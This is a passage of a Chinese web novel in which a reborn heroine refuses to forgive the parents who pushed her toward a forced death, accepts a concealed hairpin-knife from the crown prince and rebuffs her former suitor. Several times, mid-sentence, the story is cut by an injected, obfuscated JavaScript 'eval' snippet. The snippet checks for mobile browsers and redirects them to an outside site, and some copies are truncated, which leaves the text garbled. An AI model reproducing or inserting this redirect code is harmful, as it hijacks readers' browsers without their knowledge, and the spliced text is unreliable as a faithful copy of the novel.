句句都是在为自己开脱。 洛云舒皱了皱眉,当着洛守礼的面把话说开:“可您先前说过,我嫁给霍少远,对孙玉瑶有好处。她家世不好,即便霍少远中意她,她也只能做妾。您怕她被主母磋磨,才想着让我嫁过去,好为她撑腰。可见,您事事都是在为了孙玉瑶考虑。” 听完,洛守礼瞪圆了双眼:“此事当真?” “真与不真,您问问母亲也就是了。” 洛守礼转脸看向孙氏,那一双眼睛瞪得极大,几乎是要**。 孙氏顿时就吓哭了:“老爷,我也是想着她们姐妹俩一起嫁过去,彼此都能有个照应。云舒有身份,玉瑶有宠爱,这样一来,好处都是她们的,旁人插不进手来。” “愚蠢!”洛守礼怒极,狠狠地甩了孙氏一个耳光。 孙氏趔趄倒地,呜呜地哭着。 洛云舒再次叹了口气:“父亲,您还不知道吧?当初我无意中救过霍少远,他才有了结亲的心思。只是,他当时眼睛出了问题,看不清楚,只对我手腕上的玉镯记忆深刻。可后来,母亲把玉镯给了孙玉瑶,还亲自告诉霍少远,当年救他的,是孙玉瑶。我曾经辩驳过,可他说,我自己的母亲总不会说谎。” 洛守礼气得喘气如牛。 他死死地瞪着孙氏,想打她耳光,又顾忌着会留痕迹,只朝着她的身上狠狠地踹了一脚,却还是怒气难消,挥舞着双臂,神色癫狂:“我真想把你这脑子扒开,看看里面藏的究竟是什么玩意儿!哪有不向着自己女儿,向着一个微不足道的侄女的?” 孙氏不敢反驳,只是哭。 洛守礼听得心烦:“够了!别哭了!” 孙氏用牙咬着拳头,拼命忍着,不敢哭出声来。 “如今若不是想着云舒即将出嫁,我断断是不能容你的!自今日起到下月六月初八,你务必事事听从云舒的吩咐,若胆敢违抗,我直接休了你!” 孙氏想要说些什么,见洛守礼神色凶狠,只得忍住。 这时候,洛云舒火上浇油:“父亲,女儿今日去阮府赴宴,听了好些个闲话。不过您放心,女儿已经出面作保,做了些澄清。但事情毕竟已经发生,即便是澄清,也是效果甚微。” “什么事?” “有位闺秀是鹿鸣书院夫子的女儿,说明辉已有多日不去书院。还有,宝珠前几日参加了一个宴会,连最简单的对子都对不上,被人质疑才女的身份。” 说起来,洛宝珠才女的名声,还是她帮助打造的。 这下,洛守礼气得鼻子都歪了:“竟有这等事?” “父亲可以去查证。” 洛守礼立刻转身出去,嚷嚷着让周安去找他二人过来。 洛守礼一走,孙氏从地上爬起来:“云舒,你父亲正在气头上,你怎可火上浇油?” “母亲这是在指责我?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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灵雀并不退让:“夫人,老爷方才所说的话,您没忘吧?” 孙氏刚举起的巴掌顿时落了下去。 她没忘。 也不敢忘。 只看向洛云舒,满脸都是讨好:“云舒,别怀疑我对你的心。” 洛云舒看着孙氏的苦情戏,脸上没有丝毫的动容,完全是看戏一般的状态。 只觉得这出戏,十分拙劣。 孙氏神色讪讪:“那、那我就先走了。” 洛云舒没说话,转身进了里间。 晚上的时候,洛守礼亲自过来,请洛云舒去饭厅用饭。 第53章 你不知,为父的心里有多痛 第53章 你不知,为父的心里有多痛 去饭厅的路上,洛守礼痛心疾首:“云舒,我真怀念你管家的时候,内外和顺。我没有后顾之忧,才能一心扑在公事上。可如今,单单是家里的事情,就已经让我心力交瘁。” “父亲,您教过我,种什么因,就会收获什么果。这话我一直铭记在心,想必,在家事上,也是一样的。” “是这个道理。”洛守礼点头附和,细细琢磨着这句话。 种善因,才能得善果。 反过来说,他现在没有得到善果,是因为他之前没有种下善因? 莫非,女儿在因当初殉节一事在埋怨他? 如此想着,洛守礼偷眼去看洛云舒。 但见沉沉暮色中,洛云舒面容沉静,看不出丝毫的情绪。 在洛云舒看过来之前,洛守礼慌忙移开视线,继续往前走,可迈下的脚步,却是一步比一步沉重。 到饭厅门口时,洛守礼突然停下脚步,看向洛云舒:“云舒,当初殉节一事,你是否在心里埋怨为父?” 洛云舒看向他,知晓他想要一个否定的答案,好叫他自个儿安心。 可洛云舒却点了点头:“没错。父亲,因殉节之事,我曾命悬一线,叫我如何不怨您?” 顿时,洛守礼有些恼怒。 他想要发火,甚至已经下意识地举起自己的右手。 但,也仅仅是举了一下,他就很快放了下去,嘴上却没饶过洛云舒:“身体发肤,受之父母,你如何能埋怨自己的父亲?” “父亲,父慈,子才能孝。” 换句话来说,父不慈,子如何孝? 洛守礼脸颊发红,心中似藏着万千怒气,他瞪着洛云舒:“为父如何不慈?当初殉节一事,也是霍家有错在先,为父也没想到,那霍少远居然是假死。同你一样,为父也被蒙在鼓里,为父也曾差点儿痛失自己的女儿,你不知,为父的心里有多痛。” 说着,他双眼通红,几乎要落泪。 一阵风吹来,洛云舒的眼睛也有些发红,她反问:“抛开霍少远假死不谈,您如何能眼睁睁看着自己的女儿**?更何况,是完全没必要叫我**的。” “是霍家强逼。” “父亲,您是户部侍郎,即便霍家强逼,若是您抵死不从,霍家能如何?” 洛守礼瞪大了双眼。 能如何? 若不从霍家,霍家会给他使绊子,更何况,霍家背后还站着霍贵妃,若是霍家刁难,他的仕途等同于走到末路,再无翻身的可能。 但,在洛云舒面前,洛守礼只字不提这些,只往严重了说:“当时霍夫人正在气头上,我若不从,难保她不会迁怒我们全家。牺牲你一个,保全全家人,不失为权宜之计。” “权宜之计?即便是要牺牲,为何是要牺牲我?为何不能是您?若您真能豁的出去,大可以去敲响登闻鼓,去告御状,可您没有。在您心里,您的前途,您的性命都比我重要。所以,您选择舍弃了我。” 这一切,洛云舒看得很清楚。 她原本以为,有朝一日当着洛守礼的面说出这些,她会泪流满面。 然而并没有。 这一刻,洛云舒的心里出奇的平静,莫名地,甚至有一种尘埃落定的感觉。 自今日起,这虚伪的父慈女孝,她不要了。 被洛云舒扯掉了遮羞布,洛守礼的脸色有些难堪。 他站着没动,怒视着洛云舒,似乎是在等她意识到自己的错误,等她向他道歉。 然而,洛云舒再没看他一眼,径直走了进去。 饭厅里,孙氏、洛明辉、洛宝珠已经在了。 这会儿,三人站在那里看着洛云舒,一脸的惊恐。 此刻,洛明辉的脸上还有巴掌印儿,身子也被小厮扶着,几乎站不住,看来,他已经受到了惩罚。 而洛宝珠则是荆钗布裙,穿得连丫鬟都不如。 大概,是洛守礼发现她掌家这段时间一直在挥霍钱财购买衣裳和首饰,这才如此惩罚她。 对于一个爱美的人,让她穿成这样,对她而言是莫大的惩罚。 见状,洛云舒就知道,洛守礼让她来,是让她看洛明辉和洛宝珠的惨状,顺便顺水推舟,让她继续管教他们。 毕竟,现在的她不仅仅是洛家大小姐,更是未来的太子妃。 她的管教对于洛明辉和洛宝珠而言,更胜从前,更是一种很好的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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洛云舒吃饱之后,放下筷子,漱了口。 这时候,洛守礼也放下筷子,看了过来:“云舒,当初殉节之事,的确是为父欠考虑。” 第54章 就凭你是父亲的女儿! 洛守礼这话一出,孙氏三人都惊呆了。 洛明辉更是惊得连咬在嘴里的肉都掉了下去。 在洛家,洛守礼从不会认错。 这是他身为一家之主的威严。 可现在,此时此刻,他在对洛云舒认错。 洛云舒看向洛守礼,微微勾了勾唇:“父亲,您道歉的诚意,女儿感受到了。女儿接受您的道歉。” 接受,但不会选择原谅。 她没资格替上一世做了鬼的自己说原谅。 看到洛云舒的反应,洛守礼嘴巴微张。 怎么会是这样的? 在他的预想里,该是洛云舒感激涕零,原谅他的过错。 但现在,洛云舒只说接受他的道歉,绝口不提原谅的事。 她不原谅,他接下来的话就没法说。 一片寂静中,孙氏开口:“云舒,你怎能这么说话?这是你父亲,你怎能坦然接受他的道歉?” “为何不能?”洛云舒反问,“父亲知道错了,并诚恳致歉,母亲是要我不接受父亲的道歉?” 在孙氏看来,这不是接受不接受道歉的问题,而是洛云舒要表态,说洛守礼并没有做错。 这样的话,可以让洛守礼挽回身为父亲的尊严。 可洛云舒,不会给他们这样的机会。 这时候,洛守礼瞪了孙氏一眼,斥责道:“你休要曲解我的意思。我既然道歉,自然是认识到自己错了。” 孙氏立刻闭嘴。 洛云舒还是不提原谅的事情。 洛守礼有些耐不住,主动开口:“云舒,你是否能原谅为父曾经的鲁莽?” 亲口说出这些,洛守礼已经把自己的姿态放得很低。 “父亲,您能原谅一个差点儿让您送了命的人吗?” 洛云舒把问题重新抛给洛守礼。 洛守礼一怔,尽可能用平静的语气说道:“云舒,当时为父也没有办法,是霍家……” 说着,他说不下去了。 这样的话他已经说过一次,现在再说,显得很苍白。 父母是儿女的天,无论怎样,他都无法摆脱送亲生女儿**的罪责。 若是以往,他自然不会认错。 但现在,他不能不认错。 可洛云舒并不接招。 洛守礼不死心,又道:“云舒,你若心里记恨为父,可以打我几下出气,我绝不还手,事后也绝不会心存怨怼。” “父亲!”洛明辉开口,踉跄着步子过来,嗓音里带着愤懑,“父亲,您是父亲,怎能纵容做女儿的打您?这不合礼数!” 说完,洛明辉又转脸看向洛云舒:“大姐,父亲已经把话说到这个份儿上,你为何还是不能就此揭过?难不成,要父亲给你磕头认错吗?” 洛云舒摇头。 做父母的给儿女磕头,那是最极端的逼迫,她受不起,更不想因此折损了自己的福气。 她开口,声音清朗:“若真的知道自己错了,诚心悔过就是。为何纠结于我原不原谅?旁人犯错,认错的时候我就一定要原谅,凭什么?” “就凭你是父亲的女儿!”洛明辉脱口而出。 “不。”洛云舒依旧摇头,“逼人认错,何尝不是一种要挟?” 这就是洛守礼的要挟啊。 她说了原谅,他就会进一步提出自己的要求。 所以,她堵死他的下一步路。 “你以为当初为父让你殉节,为父自己心里就好受吗?午夜梦回时,为父何尝不是心惊胆战?幸好,我儿如今还活着。” 洛守礼说的痛心疾首,洛云舒却不接招,就这么看着他,漆黑的眸子若深潭,没什么情绪。 洛守礼说了半天,也没得到洛云舒的什么回应。 他一把拉过洛明辉:“云舒,就算是你心里过不去这道坎儿,不愿意原谅我这个做父亲的,可明辉是你的亲弟弟,这段时间没有你的管教,他整个人都懒散了不少。方才,为父是从赌场里把他找回来的,再这么下去,他整个人就毁了啊。” 洛明辉一脸错愕,一副天塌了的表情。 他像是不怎么明白,话题怎么就突然转到了他的头上去。 这时候,洛守礼拽了他一下:“跪下,求你姐姐管教你。” 洛云舒退后一步:“我婚期在即,要绣嫁衣,不得空儿。” “那让宝珠跟着你学学。她已经十四了,马上就要说亲。”洛守礼退而求其次,又拽了洛宝珠过来。 这时候得了洛云舒的管教,洛宝珠就能说到更好的亲事。 “不管。”洛云舒直接拒绝,甚至连理由都懒得给。 孙氏气得直瞪眼:“云舒,你莫要把自己的路走绝了!” 洛云舒看向她:“母亲是在威胁我吗?” “你不要以为太子殿下现在对你上心,你就可以胡作非为。男人的心向来是靠不住的,等你失了太子殿下的心,难道就不需要娘家为你帮衬?” “母亲。”洛云舒笑着摇头,“当初从洛家村,到现在的身处京城,我靠的从来都是我自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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初学时,她没有技巧,做惯了农活的手又粗笨,学得很慢。 她唯有笨鸟先飞,弹到十指流血还不肯罢休。 有这股劲儿,她什么事都能做成。 然而,可能是当时学琴的经历太痛苦了,她琴技虽好,却一直不太喜欢弹琴,不想勾起痛苦的回忆。 可现在,她突然有了弹琴的雅兴。 重活一世,她像是找到了生活的乐趣。 琴声欢快,愉悦,却在这时,有一声箫声夹杂进来。 这箫声应和着她的琴声,她曲调急促,箫声迅速跟上,她曲调和缓时,箫声也立刻放低,几个回合下来,洛云舒弹得很尽兴。 余音落下,洛云舒才有空去想,吹箫的,是谁? 第55章 洛氏云舒,你很敷衍 还不等洛云舒起身去找,灵雀已经进来禀报:“大小姐,太子殿下到访。” 竟是裴行渊! 洛云舒起身,向外迎去,看到裴行渊正阔步而来。。 他单手背后,笑着看过来:“一时兴起,孤就没走正门,失礼了。” 洛云舒微施一礼:“太子殿下言重了。” 说完,洛云舒伸手指向院中的凉亭:“太子殿下,请。” 裴行渊笑容温和,点了点头。 二人相对而坐。 知意端了茶水和点心过来,又很快退下。 这偌大的庭院之中,只剩下他们二人。 裴行渊先开了口:“你的琴艺不错,孤很惊喜。” “殿下的箫也吹得极好。” “老三那边,暴怒。”说着,裴行渊弯了弯唇角。 看得出来,他心情愉悦。 “若不是殿下的人出手相助,今天的事情不会这么顺利。” “底下的人办事得力,也得发号施令的人足够睿智。洛氏云舒,这一次,你办得极好。” 说着,裴行渊递了一根簪子过来。 是一根素面的银簪,没什么装饰,只在顶端雕成桃花的形状,小巧又雅致,插在发髻上不会很显眼。 很寻常的一根簪子。 洛云舒把簪子拿在手里,莞尔一笑:“多谢殿下,我很喜欢。” 她笑得很得体,不会被人看出敷衍的意思。 裴行渊却在这时候皱了皱眉:“洛氏云舒,你很敷衍。” 洛云舒微微板了脸,严肃道:“殿下,我是真心夸赞。” 却在这时候,摸到桃花花瓣上一个小小的凸起。 这簪子,内有乾坤。 洛云舒在凸起处按下去,只听得啪嗒一声,簪子松动了些许,她顺手往外一拉,发现藏在簪子里的,竟然是一枚锋利的小刀。 刀片狭长,但足够锋利。 这是、她曾在话本子里看过的簪刀!小巧,但足够锋利。 洛云舒大喜过望! 这簪子可以防身,有大用处。 “殿下,多谢您!”洛云舒眉开眼笑。 “在孤面前,无须假装什么。” 恍惚间,洛云舒有一种被人看穿的感觉。 她抬头看向裴行渊,此刻,他依旧笑得温润如玉。 洛云舒也跟着笑,附和道:“好。” “老三那边,或许会狗急跳墙。不过你放心,除了寒霜在这里之外,孤另外还派了人暗中保护你,你大可放心。但凡事总有意外,所以孤送来这簪刀给你。后续,若是能做出藏在簪子和戒指里的暗器,孤再让人给你送来。” “殿下费心了。” “嗯。”裴行渊微微点头,随后起身,“天色已晚,告辞。” “殿下慢走。” …… 隔日,洛云舒让灵雀出去买些脂粉,回来的时候,就看到灵雀笑逐颜开。 她很兴奋:“大小姐,您猜发生什么事了?” “猜不到,你告诉我。” 灵雀不再卖关子,朗声道:“东方亮要迎娶妙珠。” 洛云舒微微一笑。 昨日那么一闹,东方亮不得不娶妙珠。 不然,就显得霍娇娇说的话是假的。 这样一来,就会坐实霍娇娇是为了嫁进阮府才闹了昨日那一出。 霍家不敢冒这个险,所以只能求三皇子让东方亮娶妙珠,以便平息流言。 但,三皇子未必乐意。 这事儿,洛云舒还真没猜错。 三皇子的确不乐意,直接把气撒在了霍少远身上:“你们这对兄妹,真是一个比一个令人失望!让你求娶洛云舒,本来是多简单的事情,你也能办砸!这次霍娇娇主动出手,本殿下原本以为她已经是十拿九稳,结果却弄成现在这个样子!” 霍少远立刻跪地认错:“殿下,昨日阮府的赏荷宴,定是洛云舒捣的鬼。” “够了!终究还是你们兄妹无能!东 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15466440|169168||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 方亮是本殿下身边最重要的谋士,他一向心气高,这次让他娶一个婢女,他心里指不定藏着多大的怨气呢!” “不会的,殿下。他能跟在您身边,必定也是想跟着您创立一番伟业,能成大事的人,都是能屈能伸的,不会计较一时的得失。” “罢了,事情已经发生,本殿下也不愿意再多做纠缠。但是,霍少远,本殿下警告你,看在我母亲的份儿上,我才对你们霍家多有照拂,才愿意重用你。但是,如果你一直这么没用,本殿下不会再用你,任你自生自灭。” 霍少远低头,诚恳道:“是,殿下。” 先前,因为假死的事情,他已经触怒了圣心。如果这时候再失去三殿下的支持,那么,他的前路几乎已经被堵死。 他不能容忍那样的事情发生。 可是,最初的时候,事情原本是很顺利的。 他假死,让太子放松警惕,从而给太子重重的一击。 如果事情能够办成,三皇子将会从此崛起。 可偏偏,他假死的事情被洛云舒戳破,连带着后面刺杀太子的事情也变得极不顺利,他也因此受了重伤,命悬一线。 之后的事情,更是一件比一件不顺利。 他怎么都想不明白,原本对他言听计从,温柔小意的洛云舒,为何后来却是不肯顺着他的心意去办? 明明,他许给她的,还是正妻之位。 可她还是不愿意。 而现在她摇身一变,下个月就要嫁给太子,成为太子妃。 这怎么可以? 洛云舒原本该是他的女人才对。 女人就该从一而终,怎么可以变心? 以至于回府的路上,霍少远还有几分恍惚。 直到马车突然停下,他以手支地,才避免向前摔倒,却也因此,擦伤了手指。 重新坐稳之后,霍少远怒不可遏:“怎么赶车的?” 外面很快传来护卫卫凌的声音:“少将军,是洛夫人,她想见您。” 第56章 你还要我怎么样? 洛夫人? 洛云舒的母亲! 霍少远沉着脸,走出马车。 他居高临下,看着等在马车旁的孙氏,面色不虞:“何事?” 孙氏上前一步,脸上带着讨好的笑容:“霍少将军,我有些事情同您说,不知可否方便。” “说。” 孙氏看了看左右来来往往的人,面露难色。 “去那边的茶楼。”说完,霍少远跳下马车,朝着不远处的茶楼走去。 他直接挑了一个雅间,清净。 孙氏随后跟来,带着皱纹的脸上堆满笑容:“霍少将军,我家玉瑶现在一切可好?” “很好,大宅子住着,也有人伺候。”说完,霍少远起身,打算离开。 他没时间浪费在这些琐事上。 孙氏伸手去拦:“少将军,我有别的重要的事情要告诉您。” “说。”霍少远捏着眉心,有些不耐烦了。 “少将军,玉瑶她从小地方来,无依无靠的,如今她只能靠您,还请您对她好一些,早些给她个名分。” “用得着你说?”霍少远满脸不快。 确认霍少远对孙玉瑶上心之后,孙氏心里一松,急忙切入正题:“少将军,我今日找您,是想跟您聊聊关于云舒的事情。” 霍少远放在腿上的手微微收紧,冷脸道:“她有什么好聊的?” 孙氏绞着手里的帕子,觉得有些难以启齿,最终,她不知想到了什么,还是说出了口:“少将军,其实,当年救了您的,是云舒。” 霍少远猛地抬头:“你说什么?” “救您的人,是云舒。” “呵!”霍少远嗤笑出声,“洛夫人,如果我没有记错,当初是你口口声声告诉我,当年救了我的人是孙玉瑶。怎么到了这会儿,救我的人又成了洛云舒?” “当时、当时玉瑶倾慕您,却又没有接近您的法子,求到我跟前来,我也是没法子,才扯了这个谎。” 霍少远愣是给气笑了:“所以,为了你的侄女,你选择扯这个谎,任由你当初的未来女婿冷落你的女儿?” 这话说出来,霍少远都觉得荒谬。 怎么会有人不向着自己的亲生女儿,反倒是向着外人? 这个孙氏,瞧着也不像是疯癫的样子,怎会如此拎不清? 孙氏解释道:“少将军,您有所不知,玉瑶家里对我们洛家有恩,当初我家老爷进京赶考,没有盘缠,是我哥哥把毕生的积蓄给了他。所以,我总得为玉瑶做些什么。” 霍少远突然上前,攥住孙氏的衣领,怒声道:“为了你所谓的报恩,你选择对我说谎,让我错失本该属于我的姻缘?孙氏,你真是好大的胆子!” “我、我也是权宜之计。像您这样的人物,原本就是要三妻四妾的,多一个人在身边,也不是什么坏事。”孙氏嗫嚅着,为自己辩解。 霍少远松开她的衣领,冷冷地笑了。 他盯着孙氏,眼神比脸色更加冷漠:“带我回府,我要见洛云舒。” 孙氏眉心一跳:“不,你现在不能见她。她如今在待嫁,下个月她就要嫁给太子了。更何况因为那晚发生的事情,我家老爷是不会让您进府的。” “不能?你说了不算!” 说完,霍少远拂袖而去。 孙氏急了,急忙去追。 可等她跑下楼梯,霍少远已经不知去向。 …… 芷荷院内。 洛云舒刚跟着严嬷嬷学完规矩,在卧榻上歇息。 这时候,孙氏着急忙慌地闯进来,她显得很紧张:“云舒,霍少将军今日来过你这里吗?” 洛云舒看了她一眼,神色冷漠:“母亲这是说的哪里话?我的房里,如何会有外男进来?” “是我口无遮拦了。” 说完,孙氏把自己今日所做的事情原原本本地说了一遍。 最后,她还不忘为自己辩解:“云舒,我知道你最怨恨我的就是这件事情,你放心,我已经跟霍少将军说的明明白白,这件事从头至尾都是我的错,跟你没有半分关系。” 洛云舒只觉得好笑。 孙氏现在去找霍少远澄清,像是一个笑话。 “你跟霍少将军坦白,是不打算顾及孙玉瑶了?” “没关系的。他们俩如今有了感情,哪怕是没有当初的救命之恩,也会过得很好。云舒,我这样做,是为了让你放下心中的芥蒂,是在改正自己的错误。我先前错了,现在我是真心改正。我今日所做的事情就是最好的证明。” “所以呢,母亲到底想说什么?” 孙氏满脸诚恳:“云 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15466441|169168||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 舒,我们到底是一家人,打断骨头还连着筋呢。更何况我已经知道错了,也改正了错误,你总该原谅我了,是不是?况且,当初殉节之事,完全是你父亲主导的。他是一家之主,我从不敢反抗他,这你是知道的。” 又是一个妄想用道歉来逼她原谅的。 一旦她选择原谅,孙氏就该趁机提要求了。 洛云舒只觉得无趣。 在她看来,若是真心悔过,就该把自己的过错记在心里,设法改正,且永不再犯,而不是千方百计地求得原谅。 求人原谅,是最深的逼迫。 所以,洛云舒不为所动。 孙氏急了:“我是个做母亲的,我都已经做到这个份儿上,你还要我怎么样?你自己倒是说说看,要怎样你才会原谅我?” “除非时光倒流,除非……”说着,洛云舒的眼眶微微发红,口中喃喃着,“除非,回到一切还没有发生的时候。” 所以,回不去的。 有些伤害一旦发生过,就不会消失。 更何况,上一世的她的确是**,就连做了鬼都不得安宁。 所以,她没资格为上一世的自己选择原谅。 听到洛云舒的回答,孙氏嘴巴微张,脸上的讨好消失不见,取而代之的,是隐隐的怒气:“云舒,你这是在刁难我。” “母亲,是您先刁难我的。为了所谓的殉节,我差点儿没了一条命。” “可你这条命是我给你的!” “所以,我答应殉节的时候,就等同于把这条命还给你了。如今,我不欠你的。” 孙氏气得瞪眼:“你真是茅坑里的石头,又臭又硬,明明是很简单的事情,就是跟你说不明白。我怎么就生了你这么死心眼子的女儿!” 洛云舒看着孙氏,眸色沉静,说出的话却不容置疑:“以后,你不准来我的院子。” “洛云舒,你搞清楚,这里是洛府,我是洛府的主母,整个洛府,没有哪里是我这个主母不能去的!” 洛云舒眼尾微挑:“我说不许,就是不许。” 她的话音刚刚落下,寒霜就从外面走了进来,直接将孙氏“请”了出去。 这一刻,洛云舒心如止水。 寒霜很快进来,询问道:“大小姐,外面树上的人,现在处理吗?” 第57章 云舒,我真不想错过你 “太子殿下怎么说?” 寒霜怔了怔:“您的意思是,需要把这件事告知太子殿下?” 洛云舒看向寒霜,有些诧异:“你没告诉他?” 她以为,寒霜在这里,会把这里发生的一切告知裴行渊。 毕竟,她和裴行渊交情不深,所以,裴行渊选她做盟友,也是冒着风险的。 因此,她以为,裴行渊派寒霜过来,一是保护她的安全,二则是监视她的一举一动。 然而,寒霜却是一头雾水:“大小姐,您是不是误会了?太子殿下从没吩咐过要将这里发生的事情告知他。” 洛云舒倏然一笑:“那就派人告诉太子殿下一声,霍少远偷偷潜入我洛府,问他是否有必要借着这件事,离间霍少远和三皇子的关系。” “是。”寒霜很快就出去了。 没多久,寒霜又进来了:“大小姐,霍少远从树上下来了,要往您这边来,是否需要阻拦。” “不必。让他进来,然后把人拦在外院。” 如果霍少远在这里停留的时间不够久,又怎好起到离间的效果呢? 她要让三皇子误以为,她现在所做的一切,都是受霍少远的指使!而霍少远,已经暗中投靠裴行渊。 再牢固的关系,只要撬开一条裂缝,就会逐渐分崩离析。 洛云舒简单收拾一番,来到外院。 霍少远早已站在那里等着,看到她出来,他的脸上流露出一丝苦笑:“如今,竟是我站在这里,苦等你。” 洛云舒淡淡一笑:“是啊,真是难得。” 从前,知道他来,她向来是欢天喜地地奔过去,从不忍心让他多等片刻。 可他,总是不耐烦看她。 曾几何时,她曾为此难过,辗转难眠。 可现在,她不在乎了。 原来只要不在乎,任何人和事都伤不到他。 “云舒,我也是刚刚才知道,当时救了我的人是你。是你母亲蒙蔽了我,让我误以为救我的人是孙玉瑶。我是不是、知道的太晚了?” 说着,霍少远从怀里拿出一只镯子,递给洛云舒。 洛云舒低头看了一眼,这镯子,正是母亲拿走,戴在孙玉瑶手上那一只。 她并未伸手去接,只笑着摇头:“我告诉过你的,是你不信。” “都是你母亲的错。我怎么都不会想到,做母亲的,居然会如此不顾惜自己的亲生女儿?”说着,霍少远已经双眼通红。 他恨。 恨孙氏如此诓骗他,戏弄他,让他的感情也跟着起起伏伏,没个着落。 “她可以骗你一次,也可以骗你第二次,你又如何能确定,如今她不是碍于我的强权,依旧在骗你呢?” “不会。”霍少远摇头,“这一次,我相信我的感觉。救我的人就是你。云舒,我真不想错过你。” 霍少远有一双好看的眉眼,这么看着她的时候,显得很深情。 上一世,她沉溺在这样深情的眼神里,赔了一条命。 这一刻,洛云舒只觉得讽刺。 “所以呢?”她问。 “所以……”说着,霍少远舔了舔干涩的嘴唇,“所以,你能不能退了和太子殿下的婚事,重新嫁给我?我保证,我会护你一生。” “好。那你去陛下面前,求他收回赐婚的旨意,再求他赐婚给你我。” 霍少远怔了怔,神色惊惧:“这、这肯定是不行的!” 如果他的真的敢那样做,陛下只怕会赐死他! 洛云舒装作不解的样子:“那你让我如何退婚?” 霍少远嘴唇微动:“若你没了清白之身,太子殿下定然不会要你,他这个人,看似云淡风轻,实则极为自傲……” 啪! 洛云舒走上前去,狠狠地甩了霍少远一个耳光。 他这个人,还真是既要又要! 想让她退婚,却又不愿意付出努力,到头来,想的也是这种不入流的法子。 从前是她愚钝,竟没看出他是这样的一个人。 “云舒,其实,还有另外一个法子。”说着,霍少远神情激动。 “什么法子?” “你嫁给太子殿下,但是不与他圆房。他这个人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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堂堂太子,还能去告状不成? 霍少远不耐烦地回头,甚至已经做出了要**的姿势,然而,一回头,看到的却是裴行渊。 他惊得后退两步,满目惊恐:“太、太子殿下?” 说完,他才后知后觉地想起要行礼:“卑职参见太子殿下。” “霍少将军真是好兴致。”说着,裴行渊朝着洛府的方向看了一眼,意有所指。 霍少远原本是有些怕的,但看懂裴行渊的暗示之后,他颤着声音说道:“殿下,君子不夺人所爱。” 裴行渊眉眼清俊,脸上仍然带着温润的笑容,说出的话却微微带着寒意:“无妨,孤也可以不做君子。” “这般强取豪夺,娶一个不在意您的女子,真的值得吗?” 裴行渊脸上笑意未减,他没有直接回答霍少远的话,只笑着摇了摇头:“像霍少将军这么自以为被人爱的人,真是少见。” 霍少远微微变了脸色。 还没等他想出说辞,裴行渊已经不再看他,径直离开。 他原以为裴行渊就这么走了,却在这时候听护卫卫凌禀报道:“少将军,太子殿下去的,是三皇子府的方向。” 霍少远心头一震:“不会。这怎么可能?他怎么会去三殿下府中?” 堂堂太子,还能去告状不成? 霍少远摇摇头,裴行渊做不出这种事。 然而,裴行渊还真是去告状了。 就连三皇子亲眼所见,都有些不敢相信。 他看着眼前一脸愤懑的裴行渊,不由得揉了揉自己的眼睛。 他是眼花了吗? “三弟这副样子,是没把孤说的话听进去?”裴行渊皱眉,满脸写着不悦。 三皇子心头一震,立刻否认:“怎会?臣弟洗耳恭听,连一个字都不敢错漏。” 裴行渊沉着脸:“既然听进去了,就好好规劝一下你那位表弟。不要以为他是安国公的儿子,孤就不敢把他怎么样。在孤面前公然觊觎孤的太子妃,谁给他的胆子?” 说完,裴行渊拂袖而去,压根儿就不看三皇子是个什么表情。 三皇子急忙相送。 但裴行渊的速度很快,他没追上。 看着裴行渊渐行渐远的背影,三皇子冷冷一笑:“这戏,做得太过了。” 东方亮随行在侧,微微皱了皱眉:“殿下,此事或许是我们想岔了。” “不知先生有何高见?” “殿下,太子殿下或许是在误导您,想离间您和霍少将军乃至于安国公府的关系。” “理由?”三皇子冷着一张脸,很显然是不相信东方亮的判断。 “明面上,您最大的支持者就是安国公。在这样的情况下,若是想让您孤掌难鸣,最好的法子就是离间您和安国公府的关系。” 三皇子摇摇头,不置可否:“先生,你不了解裴行渊。他这个人最爱装,脸上的笑容就没见他卸下来过,看谁都带三分笑意。可今日,他却为了区区一个洛云舒,来本殿下面前发难。这不是他做事一贯的作风,很显然是在做戏。” “殿下,太子殿下做戏,正是因为要离间您和霍少将军之间的关系。” “不会。如果他在别的事情上做戏,本殿下还会警惕几分。可今日,他是在男女之事上做戏,这太蠢了。身为储君,他不会在男女之事上犯这样的错误。皇家,出不了情种。” 他们这些个皇子,自幼在宫里长大,学会的第一课就是不要钟情于一个女人。 情爱会让人丧失理智,皇家没有蠢货,所以不会碰这所谓的情爱,更不会对一个女人表现出特别的钟爱。 